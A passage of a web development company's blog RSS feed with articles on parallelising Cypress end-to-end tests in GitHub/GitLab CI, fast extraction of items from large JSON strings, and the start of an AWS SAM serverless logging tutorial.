<p>Remember to check out our <a href="https://mtrdesign.github.io/krait/" target="_blank" rel="noopener noreferrer">Official Documentation</a> for more advanced features and customization options!</p>]]></content:encoded>
            </item>
                    <item>
                <title>Powerful E2E Tests Combination: Cypress and Git(Hub|Lab) CI/CD</title>
                <link>https://mtr-design.com/news/powerful-e2e-tests-combination-cypress-and-git-hub-or-lab-ci-cd</link>
                <guid>https://mtr-design.com/news/powerful-e2e-tests-combination-cypress-and-git-hub-or-lab-ci-cd</guid>
                <pubDate>Tue, 01 Aug 2023 12:00:00 +0000</pubDate>
                <dc:creator>Tsvetoslav N</dc:creator>
                <description><![CDATA[<p>Test performance optimization should be an essential part of the whole development process. It should even be part of the main end-user code development - if your mindset points in the direction of &ldquo;well, if I develop that function/component in this way, how can I test it?&rdquo;, you probably have already made the most important step of the optimization journey.</p>]]></description>
                <content:encoded><![CDATA[<p>We are working on a rapidly growing project, so the E2E tests and their optimizations are a fundamental part of the development/release process. The project is big with a lot of forms and third-party services like Plaid, Pipedrive, Docusign, etc. - a lot of features offered to the end users - a lot of test cases to be covered. This article serves as a brief summary of our Cypress Reports Generation, its CI/CD integration, and the way we optimised the whole flow without connecting to the CypressIO Dashboard Service (skipping the third-party dependency and preserving all of the data inside our team scope only).</p>
<h2>Why Cypress?</h2>
<p>A colleague of mine has already written a series of articles on that topic. Be sure to check it out <a href="/news/on-a-way-to-find-the-perfect-e2e-testing-tool">here</a>, <a href="/news/on-a-way-to-find-the-perfect-e2e-testing-tool-part-2">here</a> and <a href="/news/on-a-way-to-find-the-perfect-e2e-testing-tool-part-3">here</a>. It gives a very detailed comparison between the different E2E testing frameworks. The articles were written around 3 years ago but are still valid today as well.</p>
<p><strong>There are three main reasons why I decided to use Cypress for this project:</strong></p>
<ol>
<li>It has enjoyable syntax (the way tests, fixtures, and additional helper functions are injected and used is just awesome)</li>
<li>It has almost all the major features that other frameworks provide + a lot of plugins that extend the base functionality</li>
<li>It&rsquo;s fast to write, fast to integrate, and fast to update if needed (includes all needed Docker images out-of-the-box + well-written documentation)</li>
</ol>
<p>When I write tests, I follow one simple yet powerful rule - the simpler, the better (from both readability and integration perspectives). It doesn&rsquo;t matter if they are unit, integration, or E2E, the tests are mandatory from the development point of view, but at the same time, they are something additional to the main codebase - not part of the main functionalities used by the end users. So they should be as descriptive as possible - when something fails, we, as developers, want to just take a look and directly receive information about the feature that has been broken (and the exact parts of it). No need for complex abstract functions or OOP, and no need for reducing the &ldquo;duplicated&rdquo; code - each test should be written in a &ldquo;one look gives you all information&rdquo; way (without scrolling to different files, logging inputs/outputs, etc. to find the problem). That&rsquo;s why Cypress completely covers the above requirements.</p>
<h2>Cypress Test Cases Optimization</h2>
<p>Before we dive deeper into the CI/CD integration-based optimisations, we should ensure that the tests are structured and written in an optimised way as well. If your tests run is slow and heavy by itself you should consider refactoring, not optimisations. A few rules that we can apply:</p>
<p><strong>1. Organise the assertions in an &ldquo;optimised&rdquo; way</strong></p>
<p>E2E tests generally don&rsquo;t follow the &ldquo;single assertion per test&rdquo; concept, so feel free to write as many assertions as needed. Yes, it&rsquo;s nice to have all tests structured in smaller amounts of assertions and more test cases (I would say it&rsquo;s even mandatory for unit tests), but if it slows the E2E tests down (requiring repetitive actions and page refreshes), I would consider grouping more assertions in one test case.</p>
<p><strong>2. Use Cypress Custom Commands</strong></p>
<p>Cypress offers a very intuitive way of writing custom <a href="https://docs.cypress.io/api/cypress-api/custom-commands" target="_blank" rel="noopener noreferrer">commands</a> (helper functions). For example, here we have such a command for typing text in text input.</p>
<pre class="language-javascript"><code>Cypress.Commands.add('fill', (fieldId, value, tagName = 'input') =&gt; {
 cy.get(`${tagName}#${fieldId}`)
   .scrollTo('top', {ensureScrollable: false})
   .type(value);
});</code></pre>
<p>And then the command can be used anywhere in the tests as:</p>
<pre class="language-javascript"><code>cy.fill('email', 'input');</code></pre>
<p>The command will scroll to the field and then fill the value in (I&rsquo;ve experienced some issues with not-visible/not-clickable fields, and that completely solved them). It&rsquo;s not something that would speed up your tests, but it&rsquo;s something that will speed up the debugging process if something fails (increases the readability). But keep in mind that the commands should not be too complex, otherwise, you would be in the same time-consuming tests debugging position (scrolling through a lot of files, searching different functions).</p>
<p><strong>3. Fill out the forms and test the validation rules iteratively when possible.</strong></p>
<p>If you have large forms with lots of fields, it makes sense to test them iteratively - filling the fields one by one and checking the results without the need for page refreshing.</p>
<h2>Cypress Reports Generation</h2>
<p>Cypress offers different built-in <a href="https://docs.cypress.io/guides/tooling/reporters#Reporter-Options" target="_blank" rel="noopener noreferrer">reporters</a> (from Mocha) as well as a lot of plugins that you can quickly set up and generate some good-looking reports. JSON, HTML, Videos, Images, XML - whatever fits best for your project. For our case, we decided to generate a simple HTML page in a compact inline format - one file that serves all of the information. I&rsquo;ve tried different libraries during the research and personally liked the <a href="https://github.com/LironEr/cypress-mochawesome-reporter" target="_blank" rel="noopener noreferrer">Cypress Mockawesome Reporter</a>. Internally it uses Mochawesome JSON structured data to generate the final HTML, which is exactly what Cypress suggests in the documentation as an example for <a href="https://docs.cypress.io/guides/tooling/reporters#Spec-to-STDOUT-produce-a-combined-Mochawesome-JSON-file" target="_blank" rel="noopener noreferrer">HTML Reports Generation</a>. The <a href="https://github.com/LironEr/cypress-mochawesome-reporter#setup" target="_blank" rel="noopener noreferrer">setup</a> is very simple, and the best part is that Cypress allows you to combine different reporters using the <a href="https://docs.cypress.io/guides/tooling/reporters#Multiple-reporters" target="_blank" rel="noopener noreferrer">cypress-multi-reporters</a>. For example, in this snippet of code, you can find the basic Mochawesome JSON reporter combined with the Cypress Mockawesome Reporter. Mochawesome JSON Reporter serves us a complete JSON stats report, and the Cypress Mochawesome Reporters generates the HTML output.</p>
<pre class="language-javascript"><code>export default defineConfig({
 reporter: 'cypress-multi-reporters',
 reporterOptions: {
   reporterEnabled: 'cypress-mochawesome-reporter, mochawesome',
   cypressMochawesomeReporterReporterOptions: {
     reportPageTitle: `SF E2E - ${date.toLocaleString("en-US", {timeZone: reportsTimeZone})}`,
     charts: true,
     overwrite: false,
     inlineAssets: true,
     embeddedScreenshots: true,
     saveAllAttempts: false,
     videoOnFailOnly: true,
   },
   mochawesomeReporterOptions: {
     reportDir: 'cypress/reports/json',
     overwrite: false,
     html: false,
     json: true,
   },
});</code></pre>
<p>You will find more details for the Cypress configuration options and callbacks in the GitHub CI/CD Optimizations sections.</p>
<h2>GitLab Cypress Integration</h2>
<p>The project was initially placed in GitLab, but we decided to migrate the codebase along with all pipelines to GitHub (as it provides more features like branch-protection rules using required jobs to pass, etc.). However, there are some interesting tricks in GitLab that I want to share with you as that might save you some time in the future (a lot of these facts are hard-to-find in the GitLab documentation or community forum, so I will post them here summarised).</p>
<p>The overall deployment pipeline is:</p>
<p><img src="/storage/var/images/news/e2e-testing-cypress/gitlab-integration.jpg" alt="Overall deployment pipeline" width="1000" height="223" /></p>
<p><strong>Four main stages:</strong></p>
<p>1. Build - installing the needed dependencies and building the optimised production code. It&rsquo;s a NextJS Typescript project, so here we generate both the server code as well as the front-end production builds.</p>
<p>2. Test - starting a temporal server using the already generated code from the Build jobs and running the E2E Cypress tests. Here we use a specific Cypress Docker Image - another big benefit of GitHub over Gitlab - in GitHub you have an already developed official action that does all of the processes automatically (more details in the GitHub Cypress Integration section).</p>
<pre class="language-javascript"><code>.cypress-e2e-tests:
 image: cypress/browsers:node-18.14.1-chrome-110.0.5481.96-1-ff-109.0-edge-110.0.1587.41-1
 cache:
   - key: $CI_COMMIT_REF_SLUG
     paths:
       - node_modules
       - .next
     policy: pull
   - key: $CI_COMMIT_REF_SLUG--e2e-report--$CI_JOB_ID
     paths:
       - cypress/reports
     policy: push
     when: always
 artifacts:
   paths:
     - cypress/all-videos
     - cypress/screenshots
   expire_in: 5 days
 dependencies: []
 before_script:
   - echo "$CYPRESS_CONFIG_JSON" &gt; cypress.env.json
   - npm start &amp;
 script:
   - CYPRESS_CACHE_FOLDER=$CYPRESS_CACHE_DIR npm run test:e2e
 after_script:
   - npm run test:e2e-postprocess</code></pre>
<p>As you can see, we&rsquo;re using the <code>cypress/browsers:node-18.14.1-chrome-110.0.5481.96-1-ff-109.0-edge-110.0.1587.41-1</code> Docker image to run the tests in Chrome. There are two caches - the &lsquo;dependencies and build&rsquo; one, generated from the Build stage (only for reading), and the Cypress reports one, where we store the generated reports (only for writing). Also, we have one additional artifact for convenience - just in case the developer wants to take a quick look at all of the report resources directly in GitLab. In the main scripts part, we inject the Cypress environment config (<code>echo "$CYPRESS_CONFIG_JSON" &gt; cypress.env.json</code>) and start the NextJS server (<code>npm start &amp;</code>). The NPM <code>test:e2e</code> command starts the Cypress run (executing <code>cypress run --browser chrome</code>). The <code>after_script</code> is used to finish the reports generation process as we use <code>mochawesome-merge</code> to merge JSONs and generate a nice HTML report page.</p>
<p>3. Deploy - the only purpose of this stage is to upload the already built and tested code to the real server.</p>
<p>4. Plaid Check - it&rsquo;s used to flag if the Plaid integration is still working as expected after the deployment.</p>
<p>We have configured Minio Bucket as the default storage for all GitLab caches. This way, you can easily integrate the report's data in every project without touching its initial storage structure - without adding and synchronising additional tables in the database and without developing queues/API requests to get the needed information. For example, you can easily create a similar table to summarise the results just by reading the information from the Cache Storage.</p>
<p><img src="/storage/var/images/news/e2e-testing-cypress/results-table.jpg" alt="Results summary table" width="1000" height="119" /></p>
<h2>GitHub Cypress Integration</h2>
<p>There is an already-developed <a href="https://github.com/cypress-io/github-action#action-version" target="_blank" rel="noopener noreferrer">Official Cypress GitHub Action</a> that handles the whole integration (it installs Cypress, builds the project, starts it, and runs the tests). You can still use custom Docker images if you want a specific version of the browser.</p>
<p>You can see the fundamental part of our GitHub Deployment workflow below.</p>
<p><img src="/storage/var/images/news/e2e-testing-cypress/github-integration.jpg" alt="GitHub Deployment workflow" width="1000" height="249" /></p>
<p>As we&rsquo;re focusing on the Cypress tests in this article, I will not dive deeper into the other parts of the workflow. But basically, again, we have four main parts:</p>
<ol>
<li>Install - installs all dependencies and caches them. Keep in mind that when you cache the Cypress library, you should cache the Cypress Cache as well. For convenience, I would recommend installing it in the &lsquo;node_modules&rsquo; folder as well (passing the <code>CYPRESS_CACHE_FOLDER</code> variable to the NPM installation command).<br /><code>CYPRESS_CACHE_FOLDER=${{ github.workspace }}/node_modules/.cache/Cypress npm ci</code></li>
<li>Build - builds the NextJS production code and uploads the production build as an artifact that will be passed to the following jobs.</li>
<li>Test - runs the Cypress E2E Tests using the <a href="https://github.com/cypress-io/github-action#action-version" target="_blank" rel="noopener noreferrer">Official Cypress GitHub Action</a>. Initially we used a regular job but then switched to a <a href="https://docs.github.com/en/actions/using-jobs/using-a-matrix-for-your-jobs#using-a-matrix-strategy" target="_blank" rel="noopener noreferrer">matrix</a> jobs strategy that made the tests drastically faster.</li>
<li>Deploy/Reports generation - Deploys the code to the server if the tests have passed successfully and generates the HTML reports using the <a href="https://github.com/LironEr/cypress-mochawesome-reporter" target="_blank" rel="noopener noreferrer">Cypress Mockawesome Reporter</a>.</li>
</ol>
<p><strong>That&rsquo;s how the Cypress GitHub Action looks like in our testing job:</strong></p>
<pre class="language-javascript"><code>- name: Run the E2E Cypress Tests
 uses: cypress-io/github-action@v5
 with:
   install: false
   start: npm run start
   browser: chrome
   spec: cypress/e2e/**/*.spec.ts
 env:
   CYPRESS_CACHE_FOLDER: ${{ github.workspace}}/node_modules/.cache/Cypress</code></pre>
<p>Install is &lsquo;false&rsquo; as we&rsquo;ve already installed Cypress and all of the dependencies in the Install job (they are located in the GitHub Cache now). The server is started using <code>npm run start</code>, and the browser is Chrome. If you want to use the same approach with &lsquo;cached dependencies&rsquo;, ensure that the <code>CYPRESS_CACHE_FOLDER</code> variable is passed to the environment of the step. We don&rsquo;t provide a &lsquo;build&rsquo; command to the action as we have already built the project in the Build job. All of these &ldquo;pre-building/pre-installing in previous jobs&rdquo; are part of the CI/CD optimizations as well - if you build your project once and use the build in a couple of different jobs - it makes sense. If you have a matrix of jobs and every single job needs the project distribution code - it makes sense (you are saving GitHub runtime seconds). But if you just need to run the tests and that&rsquo;s everything, you can completely leave all install, build, start, and run steps to the Cypress GitHub Action. For example, we have a scheduled daily run of the same tests that notifies the client if something has been broken. There is no need to use artifacts and flood the GitHub Storage with unnecessary data.</p>
<p><strong>That&rsquo;s the action looks there:</strong></p>
<pre class="language-javascript"><code>- name: Run the Cypress E2E tests
 uses: cypress-io/github-action@v5
 with:
   install: true
   build: npm run build
   start: npm run start
   browser: chrome</code></pre>
<h2>Cypress CI/CD Optimization via Jobs Parallelization</h2>
<p><img src="/storage/var/images/news/e2e-testing-cypress/fastest-things-graph.jpg" alt="The fastest things on earth" width="611" height="500" /></p>
<p>As you saw in the previous section, instead of one test job, we have a matrix of 12 jobs that run in parallel.</p>
<p><img src="/storage/var/images/news/e2e-testing-cypress/matrix.jpg" alt="Jobs matrix" width="600" height="498" /></p>
<p>The idea is very simple - divide and conquer. It&rsquo;s something that Cypress offers <a href="https://docs.cypress.io/guides/cloud/smart-orchestration/parallelization" target="_blank" rel="noopener noreferrer">out-of-the-box</a>, but they force you to use the CypressIO Dashboard Service. I don&rsquo;t say it&rsquo;s something bad, but it creates additional third-party dependency in your flow and exposes some of your test data to their cloud as well. How about if you test some private interfaces?</p>
<p>We decided to separate the tests by ourselves with a simple bash script that runs in every single &lsquo;matrix&rsquo; job.</p>
<p><strong>That&rsquo;s what the overall test job looks like:</strong></p>
<pre class="language-javascript"><code>test:
 name: Test
 needs: build
 runs-on: ubuntu-22.04
 strategy:
   matrix:
     worker_id: [1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12]
 env:
   WORKER_ID: ${{ matrix.worker_id }}
   WORKERS_COUNT: 12
   CYPRESS_WORKERS: true
 steps:
   - name: Checkout the git branch
     uses: actions/checkout@v3

   - uses: actions/cache@v3
     with:
       path: |
         node_modules
       key: dependencies-cache-${{ runner.os }}-${{ hashFiles('package-lock.json') }}

   - name: Download the distribution build zip
     uses: actions/download-artifact@v3
     with:
       name: distribution-build.zip

   - name: Unzip distribution-build.zip
     run: unzip -q distribution-build.zip

   - name: Setup Node.JS
     uses: actions/setup-node@v3
     with:
       node-version: ${{ env.NODE_VERSION }}

   - name: Select the worker's tests
     run: chmod u+x ./cypress-threads.sh &amp;&amp; ./cypress-threads.sh

   - name: Cypress start and run
     uses: cypress-io/github-action@v5
     with:
       install: false
       start: npm run start
       browser: chrome
       spec: cypress/e2e/**/*.spec.ts
     env:
       CYPRESS_CACHE_FOLDER: ${{ github.workspace }}/node_modules/.cache/Cypress

   - name: Zip the Cypress results
     if: success() || failure()
     run: zip -9qry "worker-results-${{ matrix.worker_id }}.zip" "./" -i "cypress/reports/*"

   - name: Upload the Cypress results
     if: success() || failure()
     uses: actions/upload-artifact@v3
     with:
       name: worker-results-${{ matrix.worker_id }}.zip
       path: worker-results-${{ matrix.worker_id }}.zip
       retention-days: 1</code></pre>
<p>We keep the current &lsquo;worker_id&rsquo; (the number of the job) and the overall workers count in environment variables used by the &lsquo;cypress-threads.sh&rsquo; bash script to select the &lsquo;per worker tests&rsquo;.</p>
<pre class="language-javascript"><code>#!/bin/bash

TESTS_GLOB_EXPRESSION=cypress/e2e/**/*.spec.ts
TESTS_COUNT=$(ls -1bA $TESTS_GLOB_EXPRESSION | wc -l)
TESTS_PER_WORKER_COUNT=$(( ($TESTS_COUNT + ($WORKERS_COUNT / 2)) / $WORKERS_COUNT ))

if [ $TESTS_PER_WORKER_COUNT == 0 ]; then
   echo "Too many workers! -&gt; WORKERS_COUNT:$((WORKERS_COUNT)) and TESTS_COUNT: $((TESTS_COUNT))"
   exit 1
fi

WORKER_FIRST_TEST_INDEX=$(( ($WORKER_ID - 1) * $TESTS_PER_WORKER_COUNT ))

# The last worker handles the remainder
if [ $WORKER_ID == $WORKERS_COUNT ];then
   WORKER_LAST_TEST_INDEX=$(( TESTS_COUNT ))
else
 WORKER_LAST_TEST_INDEX=$(( $WORKER_ID * $TESTS_PER_WORKER_COUNT ))
fi

INDEX=0
for f in $TESTS_GLOB_EXPRESSION; do
 if [[ $INDEX -lt $WORKER_FIRST_TEST_INDEX || $INDEX -ge $WORKER_LAST_TEST_INDEX ]];
   then
     mv $f "${f}_disabled"
 fi

 ((INDEX++))
done</code></pre>
<p>It just adds the &lsquo;_disabled&rsquo; postfix to exclude the rest of the tests (every worker has an equal amount of tests).</p>
<p>After that, Cypress runs the &lsquo;selected&rsquo; tests and generates the partial reports. Each report is uploaded as an artifact (the last step of the Test job).<br />Then, all report artifacts are extracted in the Generate Reports job that waits until the whole matrix of jobs finishes. It sums up all of the reports in one.</p>
<p>It all depends on your Cypress reporters and the type of report data that you want to generate. But everything can be accomplished with just a few minor tweaks in the Cypress &lsquo;before:run&rsquo; and &lsquo;after:run&rsquo; hooks. If you need just one JSON file containing all of the test information, you can simply <a href="https://docs.cypress.io/guides/tooling/reporters#Command-line-4" target="_blank" rel="noopener noreferrer">merge the extracted reports</a> in that job using CLI.</p>
<h2>GitHub &amp; GitLab Pages for Serving Reports</h2>
<p>We wanted to generate HTML reports accessible to the client, so we ended up with the question - &ldquo;How can we serve the HTML?&rdquo;. Ideally, there should be a way to serve the reports separately - detached from the main product server/resources. Ideally, the test reports serving part should be part of the development process (and the Platform you are using - GitHub, GitLab, Azure DevOps, etc.).</p>
<p>Both GitHub and GitLab provide an easy and flexible way to deploy and serve simple HTML pages - <a href="https://docs.gitlab.com/ee/user/project/pages/" target="_blank" rel="noopener noreferrer">GitLab Pages</a> and <a href="https://pages.github.com/" target="_blank" rel="noopener noreferrer">GitHub Pages</a>.</p>
<p>So the idea of generating and hosting the reports in the same service seems so close and possible but keep in mind the following facts.</p>
<p><strong>For GitHub Pages:</strong></p>
<ul>
<li>You have only one website per repository</li>
<li>You should have a separate branch to serve the HTML reports</li>
<li>The testing workflow would become more complicated as you should commit to the branch from it</li>
<li>The repository might become too &ldquo;storage killing&rdquo; if you want to serve the whole history of the runs as the HTML pages contain images and videos (it&rsquo;s not like storing them in specific storage like S3 or Minio)</li>
</ul>
<p><strong>For GitLab Pages:</strong></p>
<ul>
<li>You have only one website per repository</li>
<li>You can easily configure the Pages storage. It does not use the repository branches directly (like GitHub)</li>
<li>Every time you deploy, you lose the previous Pages state (it is still in the storage by default though)</li>
<li>The only way to deploy is by using artifacts, and again - it might become a &ldquo;storage killer&rdquo; if you want to save the whole history of test runs as you will have duplicated reports data in both Artifacts, Cache, and the Pages (there isn&rsquo;t an easy way to persist the data)</li>
</ul>
<p>To wrap it up - both Pages functionalities are great if you want to serve only the last run of the tests, but if you want to persist all runs and serve them - it&rsquo;s better to use something else.</p>
<h2>Final Words</h2>
<p>As I&rsquo;ve mentioned before, test performance optimization should be an essential part of the whole development process. It should even be part of the main end-user code development - if your mindset points in the direction of &ldquo;well, if I develop that function/component in this way, how can I test it?&rdquo;, you probably have already made the most important step of the optimization journey. That&rsquo;s why I like the idea of test-driven development. That&rsquo;s why having the tests always in mind when developing is fundamental - all of these additional speed/efficiency (CI/CD) improvements are something additional.</p>
<p>Hope you enjoyed the information in the article!</p>
<p>Happy Coding!<br />And&hellip;Happy Testing!</p>]]></content:encoded>
            </item>
                    <item>
                <title>The Better Way of Filtering and Extracting Elements from Huge JSON Arrays</title>
                <link>https://mtr-design.com/news/the-better-way-of-filtering-and-extracting-elements-from-huge-json-arrays</link>
                <guid>https://mtr-design.com/news/the-better-way-of-filtering-and-extracting-elements-from-huge-json-arrays</guid>
                <pubDate>Wed, 19 Apr 2023 12:00:00 +0000</pubDate>
                <dc:creator>Tsvetoslav N</dc:creator>
                <description><![CDATA[<p>We were working on a project related to on-the-edge prerendering of dynamic HTML components using Cloudflare workers, when we observed the problem of parsing and filtering huge amount of JSON data (especially because the project was developed using Typescript). At first glance, everything was clear and simple - Cloudlfare's HTMLRewriter API is amazing - easy to work with and shows unbelievable speed results compared to the other available APIs. But then the data and it's structure came into the game.</p>]]></description>
                <content:encoded><![CDATA[<p>The data is structured as a JSON that contains a big array of events. Each event has unique 'id' property related to an HTML component and provides the specific information for this component.</p>
<h4>The data looks like:</h4>
<pre class="language-markup"><code>{
  "data": [
    {
      "id": "element-one",
      "title": "Event One",
      "links": [
        {
          "name": "link-one",
          "href": "https://example.com/link-one",
          "title": "Link One",
          "description": "This is the first link."
        },
        {
          "name": "link-two",
          "href": "https://example.com/link-two",
          "title": "Link Two",
          "description": "This is the second link."
        }
      ]
    },
    {
      "id": "element-two",
      "title": "Event Two",
      "links": [
        {
          "name": "link-three",
          "href": "https://example.com/link-three",
          "title": "Link Three",
          "description": "This is the third link."
        },
        {
          "name": "link-four",
          "href": "https://example.com/link-four",
          "title": "Link Four",
          "description": "This is the fourth link."
        }
      ]
    }
  ]
}</code></pre>
<h4>And the corresponding HTML component that uses it looks like this:</h4>
<pre class="language-markup"><code>&lt;template-element src="/assets/data/events-data.json" data-id="element-one"&gt;
    &lt;h2&gt;{{{ title }}}&lt;/h2&gt;
      {{#each links}}
        &lt;a href="{{ this.href }}" target="_blank" name="{{ this.name }}" class="menu-link" title="{{ this.description }}"&gt;
          {{ this.title }}
        &lt;/a&gt;
      {{/each}}
&lt;/template-element&gt;</code></pre>
<h4>Let's take a look at the top-level logic and functionality. The overall concept is:</h4>
<ol>
<li>The Cloudflare Worker will get the static HTML</li>
<li>The HTML will contain a 'template-element' component with specific 'src' (the JSON file location) and 'data-id' (the id of the element from the JSON array that contains the information for this component)</li>
<li>The worker fetches the JSON and searches the array for an element with an id equal to the 'data-id' attribute value of the HTML component</li>
<li>The worker uses the HTMLRewriter API to inject the dynamic information into the HTML component (using <a href="https://handlebarsjs.com/" target="_blank" rel="noopener noreferrer">HandleBarsJS</a>)</li>
</ol>
<p>In this article, we will focus on the third step only as it's the most interesting one.<br /><br />And if we pretend that we have this template HTML component - <code>&lt;template-element src="/assets/data/events-data.json" data-id="element-one"&gt;</code>, we should take the element from the array that has id = 'element-one'.</p>
<p>P.S. The JSON is automatically generated from a third-party service used by the client, so we can't easily manipulate it.</p>
<h2>Looks simple, right? Let's dive deeper.</h2>
<p>The JSON might contain a very large amount of elements with a lot of properties, so the process of parsing and looping through them to get the right one could be very-slow and resource-consuming. We can even hit some Cloudflare worker limits. Let's take a look at this code:</p>
<pre class="language-markup"><code>const extractComponentInformation = (json: string, targetId: string): Event =&gt; {
    const data: EventsData = JSON.parse(json)

    // TODO! -&gt; Validate the information (check if the event is duplicated or missing)

    const event: Event | undefined = data.find(event =&gt; {
        return typeof event.id !== 'undefined' &amp;&amp; event.id === targetId
    });

    if (!event) throw new Error(`The component with id = ${targetId} is missing in the JSON payload ${json}!`);

    return event;
};</code></pre>
<ol></ol>
<ol>
<li>The JSON parsing for such a big string is a slow operation that will consume a lot of memory.</li>
<li>Looping through thousands of elements might slow down the process as well.</li>
<li>When we add the validation (another looping OR we can implement it in the main loop), it becomes even slower.</li>
</ol>
<p>The very first thing that came to my mind was - well, if the element is at the beginning, we can just break the loop and return the needed information. But we must take a look over all of the elements to ensure that we have only one element with this ID (and log a well-described exception if there are duplicated events for further investigation). So at the end of the day we must look through all elements.</p>
<p>And in fact, this operation will get slower and slower based on the count of the elements.</p>
<h2>The solution</h2>
<p>What does the JSON format mean? It's just a raw/unparsed string that contains information, right?</p>
<p>So we can do all fancy string-related operations (some of them are surprisingly well-optimized in Javascript) and benefit from the text-nature of the information. We can search, replace characters, trim, slice, etc. We can potentially pre-process the string and make the JSON parsing process faster.</p>
<h4>The same function as in the previous code example but 11x faster:</h4>
<pre class="language-markup"><code>export const extractComponentInformation = (json: string, targetId: string) =&gt; {
  const idPosition = getEventIdPosition({ id, json });
  const startPosition = getStartPosition({ idPosition, json });
  const endPosition = getEndPosition({ idPosition, json });

  const eventJson = json.slice(startPosition, endPosition);
  const data = JSON.parse(eventJson);

  return data;
};</code></pre>
<p>As you can see, we're preprocessing the raw JSON string before the real parsing. Basically, we slice the string, so ONLY the needed part is parsed later instead of the whole big chunk of information. The algorithm is based on character positions and patterns searching. First, we search for the object location in the string.</p>
<pre class="language-markup"><code>export const getEventIdPosition = ({ id, json }) =&gt; {
  const idSelector = `"id":"${id}"`;
  const idPosition = json.indexOf(idSelector);

  if (json.indexOf(idSelector, idPosition + idSelector.length) !== -1) {
    throw new DuplicatedEventError({ id, json });
  }

  if (idPosition === -1) {
    throw new EventNotFoundError({ id, json });
  }

  return idPosition;
};</code></pre>
<p>We simply search for '"id":"{here is the requested id}"' and once we know its position, we can start scrolling to find the beginning and the end of the object. Again - we will use ONLY string operations. Let's look at the process of extracting the 'startPosition' value.</p>
<pre class="language-markup"><code>export const getStartPosition = ({ idPosition, json }) =&gt; {
  let pointer = idPosition;
  let pointerBreak = idPosition;

  do {
    pointer = json.lastIndexOf('}', pointer);
    pointerBreak = json.lastIndexOf('{', pointerBreak);
  } while (pointer &gt; pointerBreak);

  return pointerBreak;
};</code></pre>
<p>The logic is very straightforward - we start scrolling backward from the Id to the top/beginning of the string while comparing the positions of the upcoming '{' and '}' brackets. At the moment, when the next '{' bracket is after the '}' bracket - this is the place where the object starts. It might look a little bit confusing, so let's take a look at the following illustration for more context.</p>
<p><img src="/storage/var/images/news/json-algorithm/steps.gif" alt="" width="600" height="1200" /></p>
<p>The function for getting the end position of the object is very similar.</p>
<pre class="language-markup"><code>export const getEndPosition = ({ idPosition, json }: GetPositionParams) =&gt; {
  let pointer = idPosition;
  let pointerBreak = idPosition;

  do {
    pointer = json.indexOf('{', pointer) + 1;
    pointerBreak = json.indexOf('}', pointerBreak) + 1;
  } while (pointer &lt; pointerBreak);

  return pointerBreak;
};</code></pre>
<p>But this time, we scroll forward (using 'indexOf' instead of 'lastIndexOf'), and we are interested in the moment when the closing '}' bracket is before the opening '{' one.</p>
<p>Dev Note: Both 'indexOf' and 'lastIndexOf' functions are well-optimized. They can't be used with regex values and that makes them so fast.</p>
<p>Once we have both star and end positions, we should slice the string and parse the needed information only.</p>
<p>I know it's just one example that works with a specifically predefined structure, and it's not available for more general cases. But with a few tweaks in the code, you can adapt it for your case as well (and yes - it is worth it because of the 11x times faster results).</p>
<p>This algorithm for preprocessing the JSON is an alternative approach, and there isn't anything similar over the Internet. Feel free to improve it!</p>
<p>Happy Coding!</p>]]></content:encoded>
            </item>
                    <item>
                <title>How to create a serverless app with AWS SAM for Big Data Handling</title>
                <link>https://mtr-design.com/news/how-to-create-a-serverless-app-with-aws-sam-for-big-data-handling</link>
                <guid>https://mtr-design.com/news/how-to-create-a-serverless-app-with-aws-sam-for-big-data-handling</guid>
                <pubDate>Mon, 11 Jul 2022 11:06:00 +0000</pubDate>
                <dc:creator>Tsvetoslav N</dc:creator>
                <description><![CDATA[<p>A developer journey through the pros and cons of AWS Lambda functions, SQS, DynamoDB, API Gateway, and Couldformation (with SAM templates) and the real power of Lambda Powertools and Pydantic.</p>]]></description>
                <content:encoded><![CDATA[<h3>Introduction</h3>
<p>Have you ever had to manage big data, such as system logs? No worries - AWS SAM and DynamoDB are here to help you. The reason for this article is the same - we have system logs, stored in a MySQL server. One of our clients complained that the logs listing page takes too much time to load in the administration panel (there were about 1 million logs). MySQL wasn't the right way to store this data, and we had to find a better solution, so we decided to separate the logs from the main application.</p>
<p>The big data can be handled in many different ways - serverless or with a dedicated server that processes the requests. But here (just like in every other task) the real question is "What exactly do we need?". This question is crucial because it can push us in the right direction. There is a lot of background information behind the scenes - we do not want unnecessary services to maintain as this will make the task and the application too complex (like Elastic Search). At the same time, we want to handle all of the requested functionalities - searching, sorting, filtering, writing, etc.</p>
<h3>Structure</h3>
<p>Used resources:</p>
<ol>
<li><a href="https://docs.aws.amazon.com/amazondynamodb/latest/developerguide/Introduction.html" target="_blank" rel="noopener noreferrer" title="DynamoDB">DynamoDB</a> - for storing the logs</li>
<li><a href="https://docs.aws.amazon.com/lambda/latest/dg/welcome.html" target="_blank" rel="noopener noreferrer" title="Lambda functions">Lambda functions</a> - for reading and writing logs</li>
<li><a href="https://aws.amazon.com/sqs/" target="_blank" rel="noopener noreferrer" title="Simple Queue Service">Simple Queue Service</a> - for triggering the "logs writing" lambda function; two queues - LogsQueue is the main queue, DeadLetterQueue is the "failed jobs" queue</li>
<li><a href="https://aws.amazon.com/api-gateway/#:~:text=Amazon%20API%20Gateway%20is%20a,functionality%20from%20your%20backend%20services." target="_blank" rel="noopener noreferrer" title="https://aws.amazon.com/api-gateway/#:~:text=Amazon%20API%20Gateway%20is%20a,functionality%20from%20your%20backend%20services.">API Gateway</a> - for triggering the "logs reading" lambda function</li>
<li><a href="https://aws.amazon.com/cloudformation/" target="_blank" rel="noopener noreferrer" title="CloudFormation">CloudFormation</a> (via the <a href="https://aws.amazon.com/serverless/sam/#:~:text=The%20AWS%20Serverless%20Application%20Model,and%20model%20it%20using%20YAML" target="_blank" rel="noopener noreferrer" title="Serverless Application Model">Serverless Application Model</a> templates) - for creating and managing all resources in the stack</li>
</ol>
<p>The main application creates a job that contains the log information in the SQS Queue (LogsQueue). Then, the LogsQueue triggers a lambda function that writes the logs to the database (a DynamoDB table called LogsTable). As for the logs listing and filtering - there is an API Gateway with two available routes: "/" and "/{uuid}" associated with two lambda functions respectively - LogsReader (for retrieving and filtering all logs) and LogReader (for retrieving only a specific log using its UUID). These two functions read directly from the database. The whole structure is illustrated below.</p>
<p style="text-align: center;"><img src="/storage/var/images/news/how-to-create-a-serverless-app-with-aws-sam-for-big-data-handling/serverless-app-structure.jpeg" alt="Serverless App Structure" width="982" height="697" /></p>
<h3>SQS Queues</h3>
<p>The Logs serverless application uses two queues - one main queue (LogsQueue) and one dead-letter queue (DeadLetterQueue). The main queue is the bridge that connects the main application and the lambda function for storing the logs in the database.</p>
